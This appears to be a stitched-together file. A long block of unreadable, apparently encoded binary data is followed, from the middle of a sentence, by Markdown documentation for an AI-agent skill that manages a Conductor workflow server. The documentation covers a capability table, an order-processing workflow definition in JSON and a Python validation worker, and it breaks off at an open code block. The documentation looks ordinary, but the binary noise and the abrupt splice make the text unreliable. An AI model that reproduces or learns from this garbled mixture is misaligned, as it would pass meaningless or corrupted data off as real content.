zyJ`7F-N_2TotS4;ZuhEwP>wu_XXB2S8#Qk%s=JcrmFeyScw#iDi}&&ZwvIviu66oH z|D7D;QVLL%j8gFg=&KYo{j@6pU>p-Jdth6)H$AJe#pm>ieEn$S;IRAbxVvPcBmI}@ z=5`HBh^u|e@fHz7(yQH&^A+p;iw{rLL&v96f#3I}TH6nxigLJl)iRl{3%qobs2W)w+ z`}UPX$XnXWr9(zKl9)1J-&dqBTU`KH7M7C^0R0c34+7Blau`k15eJG<7X~yQVbg`5 z^7;${HW3*|rnv;fiI<4Vs&y3jlKI(IsBGzRyZbsqnDJw25Gx!f81-+5;|$u&@VeiUfSztKE}A-g%=RE!cb|Z+{k4 z)ARZrZWjvN3?xc80W|@x4nB1sHd$kFF*&9DK3+;hpv@~CUc!d&j|eDGXaIa)zHwa- z%a@~vt+duOoOefidZ0E7X)^O&sbi}KvR}9l7blROCO(jRg%(^m-ur3h+0_LY4H8zS zO`gO8O;HRI!YD!G)w+&!5y!OD&NcK}3OxvF3B+f#NvtQiU=F796`49Vx^trWGsjf` zxCBtaVy$WBekq_DfVOyCPV#X#PFDlM6v|o!5W#LXAYCATT<>VM2 zVL^G^jgPg50=4CRs@mNI{M2@;r(W_puIQMLCKNG9aGym->Tb}gE{)C+Zca0G4BpZT z?&b=yMI1l`MolXlEISftArF|}%LUZWfIZO?+hfq$CW;>(Q(Q?Fnf%7C(y}*OHU<-b z9>@_dJdxERljFc%K3%Fi?T`(Beo+$eNbzQ*mnj;l^zBVyKq}qCtQw5aA(Iic(TY=+ zJCEA21t#T6zT)`~P4HcRgcHcvEJetw<$wdsb~`X|nYL!0@XUvW>d|kc)-Jx!S$@`k zK*$p~CtIix0#^B99eHRe!1tF4w4k0tPM-~}M7q#M)HuP=aKV$>L*e$bsk4)GO8+m_ zY?4A^%&3_Z`6@cvhs@^`64?oFiu=kRBxZOU)qJ0f}NRRIXxl;IQAF!D1+rmXZ zx?`Ftof(AEk^oV9VBfFU2kRybl1QeBazn@D5a013$aMIrx4xRsP-sxKy2wO77q?iH z9_<^AR6E?)d9qa&ZNFoMsd2LEgq!=luc=~ga>Yz6OeF2LOo_}XWL$te@@qSG5$P^r zGKcHVuhM;5$DqBlFv_wr8Y1OZCA|Lq&@!3Nx61Y_dC;d(JMmL>v$4Wbl|RA^%u-mU zd+l;kI3rb-Y678Tuac~n6OcQcN(Ss1468YY={BJldive}3^z8H~1lf80RqDQ70RyC5Pbh9eA3a5BatxnPml-^{6Lk8j$6 zrW04wkac`B8!;S~eJcVmx=V*wWDXvudK1h@;~knXHZnu@#xdxox<1^yk8@29BVEqd zgQc};*%7hh4A^?5s=j7r%BW-@`^#Kqsk~Vk;E=>h!4GfilH5`o!*8}k6m~P^qF>Ib5H12eWw-zX^Z#e+3H4B71UjGc6{_24lqXZRut*5#t;`6k9 zY2MA+wu1tSKG`S3`CCV3X&x}?x5THx*LA&PKl}(1Gm~Og3)Cx`GT!jkK@9cw3G&#b zq;f$ zxOMJC)~zkz(nUkLNi?)NG5kgiM|+cKp&M%x5Of=djWhyDpMLJAkPYHmHt34%aZo_g zHgiBA^JPxiZ+LX!3cRrJ`^;%XL-8VyZ$ZQukBWqsL?tAMC(yh00&`HHQDUlEzZtQ z7|ztq#rtWut3Op0>?c3SE1Z$?CF7Hz?V^Q3(}8fpN`kYM&kMR!Kuep@hmDi^2A_5%v=cxxI3pkOK zY9Pa>Kr8(wZIAZ56LSw))Q!E5n*P1Vd+;-n3987#n_Y$fMHH4HJi)2Ibv7|5Yv$e`lTIk#p}RlrR`@L5F4K^a2inSlhG9&S$!f{U zF(!^1lx$4DU|yTG+?d&arar{7{`sXvB?V7c6drH_T2=)&#b`WnL>T zeXnmdK8rg4l_iu0ze7+XO;T*_f~vuFgTdZjGh9*V7dhg-Vrxw#ii^Y)TN?-D_yX;! zTz&-k_r1Ea8p;cq(4$bjC|&{T1eqHF-$+zzLbAjjJ3l?8|C)?+B~l+g%x~e z^D!VX>X;OR?47wWHcawNC`uoq{ z`M^)!9*Lpw8fsW+CP`|u^@4e2xwyMbAit3FS}V#$w>8-mpg+r`x~Szai_-^&hQ=)O zSX_`Bt#o64nofC5dxWZ${95cCl4hK)QLpdvJ-J{FHV0?3L8axHh}L$<>m0r#y4nRO znIggFGk&Kw9s4uH&K3YyhSV@lkK<%JV_Rnh50f;OX9UbS=7U(r5>xT<%=pKE2he>J zyapiRHrNHjPbY@*z<~kYnZBUcg$Szd)0CM&3*F2EQrt_!_w;j!mtVleeG0!Sh-HY>7Lt0gb?Y6w zF$oSDjwKOk=rMB1O;lGy9JUWcT^`_8A?Ao#uSE26h>(-8vK#$S!B|KG4uu4vN zSV@EzF@J4|v}JGFV`{t>j{kJGn-+?N7KJN^v9LFt8*T}G>xat**7eZ0v2lS*Im4&$ z^4uw1CL@lCqa~w1S^18$z8za9(cq(Q$m-z*OucnI9kUVEeXNQ0Q+Ky*U zdkmiArq&FSJN>sifun9N+|g!`O<$bV7>e0O?tfVgVUkFe#%CT{!+iqg##c8@0HjT1 z%rf?9Z_QBy5Z`3!C?kHZZ2=Isi&~Vx>SoEA<;^L7b)nUW#Qg0f+pDLKWfzzOn97dV zs*GDD%{{yIsLnT$)@rxON_-9Or6)3zQI~;HkVF`D@h_f=)}h zyezEnkh86e^lr9&&8Ik&C^KImo`BqyvxL?Bj7MHWFJ*Yzj3M4@#I&YmHnu_^Iz|&( zI7`V&^Bu5U?;j!HWK0fJj>6+z;zI%=MC4XtK|LgVkG%Gm*NdAg=zUJmVmMt^&6amr zw3>324OE-}0<^?Tay#nv1D1CA`l3?#Fw)YF*3qDGrhBn%mS%ckmL$PJ5_AlUCmygA zP2U*`m@vQkQ>Li#k!{`3eUMD-TCDR3n?>VJ_=Q;npLu5Tdkq|ZmVhU5g&RS7wMBOu^d^3Y8BM)r;fZ`nIIU=* z#V)P&3v$6%?fisq3;P{<16-wVI6`6ORubE5Pg+=3Lx)KPrlV;1GMkoz5JHqg0`Tlx z(U#laKF_0>ggcml)_3aNpB2x_(a@IqddD&S*kVLmG+gBM?t)RVmCQUJ7_Q=Ai(J{~ zd4vw(gs2e>QVUp(SF^rw`E(Wcgqoi{8?F`zv?2FW*rG)n?Liw|r ze#G3!W&Yr>0krA&^0s#(1q$q^bb^X>>mz6fe&@v#T)(^%ev!58&t!}xXr$}d+|4Vg z7Fz{hVk}H;qscwCY2!RPe2upQ6LGu(nu6)DP70;jqs=M$x!)42I*)_JV)ykN@R-Og zZte1O(gxvw1MtO{%YL}-PC)!{#5~|E0L408x9=o1>N(}N0>`xC!=uNp9&gy>(8Jk| zi5=kc0;J<*crQA-h5DL?!Gm4ck9GRwq@67WH3J=f?NcO)r`w7zQ>~UP_^t`gd=Cq9 z+HnAU_JTc2Q=a)xQqj3}_+ESwXSJ=?yiaH;(Q-y`-$uBtQcVWWf^+*J&9r2|Rs#q! z=yy#J??f@}7HpIHZ#TQh=;6=@=lN;|%zZ*{s%)WkRhaDyTm&Ym&G6XxuMLDCQkHyC+rfZi$W__9J`O2L^flUR*c0P*I|{f$|Q?!%{pvPIH(h*Sa@vsoou zPCC8s1x{bCyH2Td^D&X30U-LY0T_(ucd2 zH{7<#P_@Q$64Zfu>QbHZbdFY&ot=?GzqpYht_`+d)5RrQG++K=kj7jCK>frj#k^QJ|fU#Jn zYL>;2z&S?)$RyU3s9bMAU|8rdJS$O1O7U=rZS|yKL50q6JJnO|`Evq*#9`RmbH#lu zvf-geZt!E+r23d*rHt2JXn;BW9Y+rN(`m06aa@**iG;g;)3oOnROqj8=Ja~qerq3-gSOSS2)_MF#7_*pwP{*>b#q~KBykEq3f zOjigr+iE~226HC2H5R1vKXI+T^U?0iS*mf5Imf)d8>5+5kFVYnDpLi%yc$*{NxeZc z%_I!1Hv=eN0>kTUovzG&Ukq?g^%$@@eeRGx-;3-u}{7I}tu^PY9!3_9p8_ zNE=9qL_L)077m%|bnUj@XW`8WSTiYHv+Jc1z&SM0`Xr!nbyl|S8`DtMs}865-u$sa zxU~DywWqDM_nP?XtywrgoFCHU&X-f~DP+5MwmaR4DwbDDUa{&{9xFY*D;AhUB88f$ z!A~xKxL4dQs$S_jak#Ve-l`ul0<4tqAnVTLcqY0V{KWfj$PM0T$5<<)`kMpxmMTK| zWR+*}I8Eu!GZ#4r^B`Q8o*AXA$0WY^Om-GWTqxDLJju3y@+DnBrSkM5LlzRQ@gsxn_{wZ_{tO>U>5hXm{i*D zO*8{ZNt^WBPH7DnndAZmjAqiOyvc&+-m|nSOz%;6fUVkMvpi-QgMEst>6XSIAxerP5_}?KJrhY{>UqntAoSjEUbu*{Zn68O}@To6sPG7tct< zxE##5${`k=8zVQkkeO@sdX}$MssZqXlR7VIn74ktg?9=x06xUcUn+0u5Macvu1Ezy zT|e(|>ZEu=y-uxo zOEAr7dUIS{iMlhL1mxRVjvFS5e#Mo=?g8FeugeW10AD-xdm6=y>uxGvuI5RpA=4?d z5A+&iC)|>e7{F;fZIXHKd{f8Zd8OOMqo$%#-3{!s8@Qi|f{_MXp9=0=>iUjIBEszU zMy#|`YRKLR)GMMXfbX~E3Su=&_{>|Sg;tPqurbTphsE=c4`8z2H%+Ipz8WNX2(|(S z6fx4>A)A@ax;)kE*S{6i0phxz+_0W?swJuTw+tnf0Id~D)*WOA5|@;C-$>&Tm0^=e(kE{#sP)jG>k`mx4;*~zl^SYiRWI++D2VlYQ< z{rd3nXqX+1eE#~@QX-9zw@Xs-?xlN#xDGd6C@N!xS`?=2)8xyyM+H$;75 zyH;^@&hm};kJTX11WPi8)x)?JPe13*k4?6W^H`D#iU;csndlA@`5C|W=9c|J^iydX zq`Ta%f6XS^(+9bJl0({B3Jvj;hI3Xp{`Sp-^PR0$#Y4zqwKJidPh#f}y29(-AR7;N zMFdjxKVanZd5&+ym;lmaWko~R#i8M03-fS_(ZvhPgy;5OtQR+RpPO}AA-!>7zs)vW zcN}9Qm8rlUY&ZC?hj1Y<9{`Gs0J?leD5Rb2?1ewrh}RFqpUjsVZW<{tDFOKfqk7ff zkUbKjqqr>~tTa=XlUMZ#xaiUzcQJ-fw%^E<3V5Lf9fZfw5j~j}tw&xU%B}Bn{2T-O z)Rb7jMeb`5pQ)b4setBH^H=Z|RxP0MiLUT**p&$U$S>U8sl1E_nW#AbPQOdgDhUbV zsGT9yMl{#jn~L58B$A8+g{Swe^V7)aIXjl-Mox$Q=)*7QD7QD*47V@jDQT36I-hJZ z3*tegskjsi@A@<(IuD)eI$&@#Q@a7^RnXE3AWt@8;3e6oYC*60*3ZbjXenlWG^M*pyiSD@Ck$H30PL{?@yi8*TsWf!hQxD-OHP13U&304=FaaP zhdqdAa+1C%aU6`VgJBX-PnRi;icn$7H7Dj{PRLZK7s4G|e--qz@^Ws6--;8O%^uHO8DUNlYMPUM)147c@UjGs@r^!u*T+xOAkG=e3- zl~@Gwp1C=ThD>JPyoqcWYFtzJ`SN@wV@+o}E)(KIBBx-J4wp#HU>=|P<->H0C$x#9 zccSY{suW$7Vru6*2Wxf0hvFnAC3nL=>~mk?wSn1zWG!{P%+h(QS7XA2Te)7YO$+$x zuU)|Y7?V|2W^8CPv&9y6LRNFFN$W*Cl-Jx7M=ehvg`Nz`L&as}86I6g+$HN6Gt;x@ z<{{8WWx4^cfhEa~M#jHd4AixL*e8o-5f>L1kvKrBGAmr3_URNFLht}@L5DMFPP{P2 zXSpyewUk=G*>ps|Yd7Q)j7;on?434tYjl4^5TLb*%ZtYu0J2?2w}bX7NO5w&wa>3T zd|v~TqnX1GzqOGX%5D$v`@2VGy@M<`H;Z|#DGor0{j zQ4fv;lbih@ZQ`Tw2nZpe(k7SPovq>)ybgC)QjD_)8L<0A!=yk&(j(y%9ZS+G3AOZy z5u2ys(3rH#`5>OVdG}iIt;02d;QA`vAYzT(QiGrP-7-Dgxw?=a^F}q#Mru7W<%&+ed?a&tTeR=E!Q`L5w}V#z!&r_)40MLb^?`UL7APo`g@P>`b*5AgY6kP=cc`j&&f!--vu%rASRWkRDZ&E>EqK39Ikce|@skuVx(%e~`}=K@U4#)=Bg`ZrtOYMgMz6OAbdw9? zty+ua+3LCsQhqfxKuAUSxe!COWwrKtSx;Bfwl>}vwqR~~)pB6=_B9$D)q z(_R%cC>tKKb~WfouQk#Zv2iY_6zFd?Mbhv!!q5_fh`X!k9Z&~6QhFO} z*`}frn9m(EvHRg0+34Lqb3`Diz+7jtP)9-oqrf{uznuYw(fbPor~7_L^}_zER!z-n ziBQ5A28qE{0fj~rEFEY=rGKwUfb;pWIwV<0?`nmiK4ga3rb&!ifXXaXjJNGvRkc!m zZ#7yBcWgz%o}9TVn4Lm^Y=%CjOu)KJ@c$L|CE!rD-~ULctR)dyvhQTcGM1qYiR2~O zO=yG~YhtVwWzAmp?EAj&VaAKBSsKcg#y0kS>wgcu@0)(#>-xK%YcONX{oLm~=Q+#g za}KrH<*}WY3>&PiYiNQ-PI><5Q_It_A{UG4&3@E_&iNO~uJkD6`QV57%saL`q3U72 zmPED`{5azYjDP(f5VlpU;?TNa4rF1W2zmXa%e?pkE5EsJ9wMSWzdiLVvSR;aYPKmk zbW-abnS&0|U11`h*^w(LG+VWf0F;uDG{@f&JWArS<1~CNB3X!!c9-2UT;m7}uFK`Q zTGE+oxP2}W2~2tG8&B7S`5?9&NE^!LTsS44k3u=*j(jVLIeDEzBtIQK(OPn9%*}^l zvoQ7&mAAlN133+|q+hetF0~DB_v%R(H{H+yslJV4wExVc65sPrkb&JHre@*4_)o}=scU5e$fMd z3sX_(n)7u<3GQ|QpZ>1qSeR(Bndkrsu+JuX?ZR&3XUe24URQyHJ8oW`cA-c38VerU z6bHu-m=(|w0Qfb630}Y11FXjZy3^=Xl0X?gC709(5>by&x(pR2E;80}Q^TO&+r9`( z^D{OhL1BGK!eP2wQSyG|MX?;yzYSuQSwDV!<+;jSXDOviPA|e*fPDWlI*wx01|+71 z;%dP~G^{t#z`+yV<|*%wOThUDBEGe3Q-6@|pnRhT#Sg@A9rf-a4I;ECKXaOT3R?5* zxvdUVK$e`4{d$0u#eF)4;!)FAJ&6QKS9e}SQ(?zI?ta*|pk)~ykfyNxx5m69TZWv) zl(I+krNynuV5%#>Zl<1OpT)frck}J$HOogR8qhxv41$>Luwc*8LxMUZ4AGN*mc5xFJwY!$30F5t^oi>DS0ju zu@dlP}fP{hjqm+rQMw8%ZrfK5o*AnNcuY zxwd)kFM9{^kP@;nS3h$Lwv?vZmMt$pN^kIxF7Bizz#GG1!lf#}cm~Qs>_+|kylfE1 zKFJp|g{4}w^Chu8&Qqx(CJL!*8Z0f%6}pX;wxEH;2E9^ZG{@6XM11pYUzHOU15GPa zCX}LrHnR*CcLJFnp1#^~?%{pXA;4j`!+f5UE+7xJU@lS*x)M#6( zy%;ZmW;V@fQjhv?UCC77hR2<`YV+1|30d@;h*F>gi{}dN-uKm8%gU8=;NmJ%;iJ<%*>Rqf zmmwfogm|3)O&V%cL7mUW-QZ)A?`-?3hLwi7`5Emv+l?`aKtz@-mnA-QIDWi4n-R{M zpQARgLMV4H^bU6FqDH2>n$6<8neRhsr1Nx+_sKZNdOkl*L&wWtCwwa$K^gL045iWq zo%{Nh7 z-Py$_my$x>nzf=L_&XX|N}aL~h(8!nub7*4Z}!?;c!(}ywOGOqRM#2oCc1xp zKIp5@94_>oKjR+_`EZIun(C&j7QiRrKZ)8)ysH>mHxYjFi%E`qWdio#MFcuG{m56j z6+_Ue5!*vP!B=zDQ`6sTJ@!0>l2B)mFT)BePckc&&B!LD?fZjJ)O5Mn$t#3nOOqQf zrTf&oN*}9!>#tCPkS!LNGD)T7*1Encn}QD$KMSm!f{XGSDJ$2)TTd-lJ)vGpq5xpY zk+Icr+Y!QWUi^}d9}Y%DZgqm2%#l;Mim4`G9?v8HcL>~J!}o`jM^%wf^uT` z9RlGq$#uo1>u!Iymbu5X!=zUV)>nC)+r8&Ce~@m>MUhS+e?lb>>xh8*b;A>D8Vhrb zS4Z6$z$;*gq?Z(ST!gWHq^laXKDXxLbr`3m^3dh@;EL@JvgzGZh&&toigq<;4`M^pA@vYe`V<>)PtJ0*#*W6V2qJk1l z4K9fha+k^?5jLY3viwfWEkE7fBrVu6kQqR*O`j#+5-^zUOcQEVdu)=rK#xfmjTCoF z5sfTCjoS(OY7Exnt6mYDV|4+Pv(j1L@|EKo6?C^8-Q#g1c9FbzJqC1DAtHz_yG2#i zjf|c{Ne{AxtU>07cU__k?i=2h#@y&{$#mWYU>#t}+pc?J`N(odJRv7tV%exB1Um!J zUzXc=TUXKFgYqMLp9#O9$Z4Qpd=V%(H~3D@vPOF?kCwl=3Guz~#dKk*<>Rpcz}@Wc zckJ?@TXGpkd98{y*BnPa9|81k`6y<2LySw_q6qw#-=d_7Hs0R&X%ZEgU>4*vob~`U z9;5=Nna&|TjT}AQ@1qv2e&0nqM#(Wl_vr1dk)G}^+9Km%zDX!qSI@DYmwQwdyhF55c^WHZOneg$a-j`7`Fhzv!L};AFnuaLTr{PJZr6*# z8$!0+KxKfITla(Om0m$y0N#tWt%Q`2dL_k28C$0^*^X!Brd$xe#Xa#AYTXa&!I8|k z$TY{O)E24b%BNS!>34muq}eF_$ub2fk1Q0(oDAzFDZ%6R_kRj&u?jkGR+9*Kr#Y{2cDp1ei41YoPFBWWh*m$H`Dn@ zQxX(o?H$0*RF0CazMMbP-xqwi(;38sv0+P{-dHYO&zIuOdbAS=Nr(bUYWtfHuvj-0 zN|{@I$k`H`v`SA{bX{Tp7XS9qrW>1){aYo-=?$Gc1Ncegr%!U$2DkjsU1XEje4_rK zhvTh9I$ML~SGz?`KJOY;3Q6)C7x$xPlZQ51%Gmw2hWmn9qT2IEgYgNWDYk|Sy{6x` zS40<_<2IJCWu}$-KQ>hue{nCVy=FnYUfMa>Zx0bai$ASfO03g+m$Y?SEn_7S)~DB# zpC3L843PRW;YRy#M&)oIMQa|E@_Ri>lDTi$UpM6LZ-ZS`Zx3F)`pHc&K=jjogfI=y1uv=5R4K{3lV@Br z^|D4YZO;@{0dF2sX@1uz13*39|Ui2-rC*jt^Z$_AlYTjB39v6 zIA>e$Gf$y`n}xUrPWW)jhWxJ9@b1CH_u^@>&WeZZM1~Or#t^fgO?3%*6w)uh0Cs-Z zP!;ZUYWq~VW_=d^0`$teL4ehdv#-Y79XtT(cJ23y-Ez*MqA%jo!?pyYY(n=#4(~GI z{sdhJDdQ`F(O8Y<+c0w5Dkhlsqa2+RdT-gApODpldk-h6-?RR1`)RhvY5^zKefx=Z zAv#IanVcuqry|I#hLsRh_Dj5Kg_|dPOEQ|a+(em4e3$L#r{p`|ifHrx=|f!BEG2GR zuenvvS$jS)OtnufdDP5}wvWU*v_#Ep&R#e*cd@-Is;_)B>QGhLL%y4H*oeMY!V(M) zuppDl>S|+xSLQIh0BDYv6BA*)C7_$fa+e-81>oWK((3F{8RjY##=5tc@}Bn9KImSLF>UfA;MzNc{>wd#X<@HEGKt**B@!N%NdM>~1< zp>7s6mAoMhb01TfYwSOK_~R7gTZv~EiMw@Gydjijp@>YAH*n(x$(AkBRkPu3G{2xi z-Kg1Wzhu1GrZVmtfB@328uF*9m)du49l7Xs3VBoR0{4#WXND0`%ZTslNPLPQhNCdw z$n4@_w&dEmG3hIqtda+0EmneK7YQVzX{g|~tpE&eoHmpE@{$w$&Z7H|aj%$nx^owE zsq^7Yp+!qgUvQ^igW0>QCjL$%QtU?2)WPUbgfF2jPxrcDKtS6uY$85&^7t&7>m73b zV71pcf4c8I&=JbM0{+sj6kHev#u8SdVy5QaQlgS9h@^d^#$e1gir2AQQ3S@?T-)F1 z`nbN{ZI3zfS>6*rqcDk0d$N5bkJeWNi(kUljBdwp9GLUtWoGzRG50IXzQ&IYjEerU zTp-c$?349g$2lD3n@l7ZJfWG6G(UDj1-aU!Z7o~oJSmQ>bdLZx z;S9i%d;ND$^LFR1&Co#LtwFuRJ{k4?s_TX*zx`#1fccs6OD7Kj)57=E8Ubx9k0*F4K$?*m z*^r>X&YWksu->kYB~1rB$>Rd8g z+C!74%RXjgyk*^>w<1}kP_B*hcCi=-XurAP`G-H&7)*3>?wi_qw=2P5Xq4+GJo5B&AmU3n^ePWr7o z?9|Gm*pstbJ9l~|)rL8ctMs&eT!CevM4K9b-b}>@xn;y#W@5RE68q-Wy0eCdg$>p> z1fBgd#y4rS;_#c~KuIJs=o~beQ43^~K|uts)y-`FW|!kvh;XVwUA27wWAjIJRNdas zj@=U^dTigSrrL8U@_4C1KT}f{mGeYp`H1nxF6%^8fC>0|SxU zHvvcAGpAR2XEUO`B72=j$`Ck_gA$vtEj5gS3pdUOHzGyBl2$zsXDi%-PZ|v!Px|4oydi$|M`7;Ruut8g!tC0z7UfL(lRIu5#?_00r{l=gyHr zHWxP1_Z9ii`5J^`xEc6&$^89iWILkphDnBsur2@xaZQms+|EvQ#Z8B}-7Tv{U^8We z2}hjykG4Yls@H?c!5>mIzBaV&&|9R8-`N_JJu@h$T9rLXp`cC&+46S{oUG`%@xNBo zdpTra)uR8@%A2o+6}a9K|HR1Wa!zZ(QaEO!G|83kVy z-Pef#JEvMytb%DS%netMb#Gt`GGvNjO=~GzMW#-nH?#2<67KAn+Goty6M+VJ8B|dc zjtY6SBL9jHHxvQi~on!De{`8XyfX7zH7 z64*Y0jZ0eYBTUi%%Tvj?O!OCEL7Z?nD~Vr|;KO@XavOpaEQq}drZej^n4K9d%ub!^ z-@5Hms$WP;|Lb$$WyL=B4OTg0#h8xz!)j>i5#^0_o*!GTY|QmtqAdOajRm#G`%iB` z=2Z%nYRq__j2E{Ny_fQhxoXTM3>Eq6=?b~0q0GWS^?)vo_dMmVfVf_4zDN z`uZPI`_X1HZ{{>L7zfxaDrk5A4&#ogUZ`rv4~yP5H>q*5>|qXUpEtpQ%FTI=ii{)6)R{alxw znRGnB&ELw{Dp^gavKg}0t-N6XLVq(%7a(4`lOSwoK{iiRNYxgAB%);-Z3qZX535{* zYVV;SVA2jQ?Sdk z8g!%VT8qbLY`f;^m*P#50|7QwU46z=eaw8OH+AE|3)f=86C}|LViwVI8$-z-22pr0 zAbvD+=U%)CsL4n~HzxNIjzR$(kb$$^)jK`@IbX4>H`w0}0fUNe>%tbg2-K5ZS8SZ~ zyd||-_PA@v_12yEF~Ab*T#Gju$kE%VqaB4p(k*D7YAlV|cbPjGzj7t2;clI+n+J5h z(#2CtL5ZcMr4xXnUQf#Wtf7v32+WP)|E3_*?CLGBcq*@ImTxznpo-hbA|K&1{ul3OR@|~L%ULsPOF|$ennpRiQNPFAv!BO=p%+} z-7sq(^iPfc*;5&kpRr>$w?sr@(}eMj2s6%Hr@oAzZnMp@cX}IEZ;I&MDDap`jcQx* zF&-&g;=FILTYwZUV-j9p3O%osA%JRtiI{$TaeIgKs-FmT(U8ZQtke8`epFj1VI3)` z#%frQ7r2p?`Gn`GyfwONx7 zZ3+Z80*0{{Tk$^HaT?#>ViFbDZcV;Lu1Ni^A1gBFO0+k08sVfv{!9qpES5q(7(y9< zBQ5Fh*qYSi+;wn<14vz=LX9_62iCA@0;KEjJFLm2NX~KJxn27+Cz{S)p{4Nh zD^JP^nK#QH_r`}ryCX&0-U?ZcMNe+L{Vbnn{N;Bu_siJ<8Bp8GFAM|KR9)hH*b`P- zqbl=F*1H?H$IgN|%n^4T@2=m)eVF~=MwjJ(k7ba=$(={sc2u4(AuT_{9gnd&j0o_L zApryjdIV+x_cY`r!Wi7b0(A~^i~qi^DN76>soG*bj-#U>7M@AGwA|uME3IpF-J4S_ za>!I-)9>o4Yw!JNKmdTx7HU*piZ7_HQjbtLB}%P-Eog>Cn@gT0pOu>ahSf7Wv=7_|QgUVl88 zC*kPmxXm)r%Q%6Kf5TusB6-)z)X{W`9?@HsvT+wlJLw;ujNvLw5}cHBhcnWpkF$4_ z9}ApSxf6Fwdl}k%{*xEbTL*I@w=@$2Ub={de68J7_ur*(^mCiCXV=?+zJ-_WbM}pj z;ktPZL7`j0!(44bIYK#1lV`HC%j}BC8Ffc?Qk+VhCzW7NZPZkBvl6sW8D;-ULSlE7;aTBK2FyPAn~xhcH(-y8lBXIz|T99zDDtX`+@2oGp#q|)BV znW3(!7j47Y)9 zZ2*7i;{WH&_l-WbA*%}@!-MQSx%%ZI)gRiwK($B_nCo9&^hXp!C`MI~A&>7@SF9KC zfA^{TIH5I6x-ID2mFRv{Ksq`l!#IM)YI!R0LtH>K)NcvAkG+Ju9 zXzE=oGnLouq#ke{d5#ek`X1~AMey4A>}7(o-@l;_t07U1F)TLE+2s%4YnqR^=y{so z@DqdTJiD5bgg=GS{nshl=kfyDEKxCWY{Gd6gK9I93+d|N>Y-I4!yHr4GN`!;oi=m1 zK#pAS^$?bU^HyrrO7f4esFo7M@a{~>{`SFtNHB2e`Ee!g7Cw^CI;Q?!9K=<#`;Ms_ zvTy|-5(-tjt%rvRnPZFTRyl>AAn4Q;DzA%bf!3STd~dl#jFY1O;WNP#!{KOJ2AzVM z)5jPuV5JWdS1Qb*``5Mu?_HP*!!eKshB>~R(8AEI#91J71H?WdBZdDH4cTSS-OFDY zPrm)P5dM#mXCl&*(`d$B%`=QeM*L>{{&^jDmS@fFeun%){2}G6tO-_u?tb3o+htp3JB-s8*UO*`uAkx&HeJjuSuCKnaehO8ovL_*vzY zL;q$%1ZL4qq0;i=@!kSQw(OQF>raCj3F}9XL_o*G4b@5Wo=EpOd`C$Aq(uF4+hs_~ z!xreZO8+7itqTtswO *"Connect to my Conductor server at http://localhost:8080/api"* + +Or set the environment variable directly: + +```bash +export CONDUCTOR_SERVER_URL=http://localhost:8080/api +``` + + +## What your agent can do + +Once installed, your AI agent can: + +| Capability | What you say | What happens | +|---|---|---| +| **Create workflows** | *"Create a workflow that calls the GitHub API and sends a Slack notification"* | Agent generates the full workflow definition with HTTP tasks, input expressions, and output parameters | +| **Run workflows** | *"Run my-workflow with input userId 123"* | Agent starts the execution and returns the execution ID | +| **Monitor executions** | *"Show me all failed workflows from the last hour"* | Agent searches executions by status, time, or correlation ID | +| **Debug failures** | *"What went wrong with execution abc-123?"* | Agent retrieves the execution, identifies the failed task, and shows the error | +| **Retry and recover** | *"Retry all failed executions of order-processing"* | Agent batch-retries failed executions | +| **Manage lifecycle** | *"Pause execution xyz-456"* | Agent pauses, resumes, terminates, or restarts workflows | +| **Signal tasks** | *"Approve the payment wait task in execution abc-123"* | Agent signals WAIT or HUMAN tasks to advance the workflow | +| **Write workers** | *"Write a Python worker that validates email addresses"* | Agent generates worker code using the appropriate SDK | +| **Visualize** | *"Show me a diagram of the order-processing workflow"* | Agent renders a Mermaid diagram of the workflow | + + +## Walkthrough: build an order processing system + +This walkthrough shows how to build a complete application using Conductor as the backend — entirely through natural language prompts to your AI agent. + +### Step 1: Create the workflow + +> *"Create an order processing workflow with these steps: validate the order, check inventory, charge payment, and fulfill the order. If payment fails, compensate by releasing the inventory hold. Add a WAIT task before payment so a human can review high-value orders."* + +Your agent creates the workflow definition: + +```json +{ + "name": "order_processing", + "description": "Process customer orders with inventory check, payment, and fulfillment", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["orderId", "customerId", "items", "totalAmount"], + "tasks": [ + { + "name": "validate_order", + "taskReferenceName": "validate", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/orders/${workflow.input.orderId}/validate", + "method": "POST", + "body": { "items": "${workflow.input.items}" } + } + } + }, + { + "name": "check_inventory", + "taskReferenceName": "inventory", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/inventory/hold", + "method": "POST", + "body": { "items": "${workflow.input.items}" } + } + } + }, + { + "name": "review_gate", + "taskReferenceName": "review_gate", + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.workflow.input.totalAmount > 500 ? 'needs_review' : 'auto_approve'", + "decisionCases": { + "needs_review": [ + { + "name": "human_review", + "taskReferenceName": "review", + "type": "WAIT", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "amount": "${workflow.input.totalAmount}" + } + } + ] + }, + "defaultCase": [] + }, + { + "name": "charge_payment", + "taskReferenceName": "payment", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/payments/charge", + "method": "POST", + "body": { + "customerId": "${workflow.input.customerId}", + "amount": "${workflow.input.totalAmount}", + "holdId": "${inventory.output.response.body.holdId}" + } + } + } + }, + { + "name": "fulfill_order", + "taskReferenceName": "fulfillment", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/fulfillment/ship", + "method": "POST", + "body": { + "orderId": "${workflow.input.orderId}", + "items": "${workflow.input.items}", + "paymentId": "${payment.output.response.body.paymentId}" + } + } + } + } + ], + "failureWorkflow": "order_processing_compensation", + "outputParameters": { + "orderId": "${workflow.input.orderId}", + "paymentId": "${payment.output.response.body.paymentId}", + "trackingNumber": "${fulfillment.output.response.body.trackingNumber}" + } +} +``` + +The agent registers the workflow automatically. + +### Step 2: Create the compensation workflow + +> *"Create the compensation workflow for order_processing. It should release the inventory hold and refund the payment if it was charged."* + +Your agent creates `order_processing_compensation` with the reverse operations. + +### Step 3: Write a custom worker + +> *"Write a Python worker that validates orders by checking that all items exist and quantities are positive"* + +Your agent generates the worker code using the Conductor Python SDK: + +```python +from conductor.client.worker.worker_task import worker_task + +@worker_task(task_definition_name="validate_order") +def validate_order(task): + items = task.input_data.get("items", []) + + for item in items: + if not item.get("productId"): + return {"valid": False, "reason": f"Missing productId"} + if item.get("quantity", 0) <= 0: + return {"valid": False, "reason": f"Invalid quantity for {item['productId']}"} + + return {"valid": True, "itemCount": len(items)} +``` + +### Step 4: Run the workflow + +> *"Run order_processing with orderId ORD-001, customerId CUST-42, items [{productId: SKU-100, quantity: 2}], totalAmount 750"* + +``` 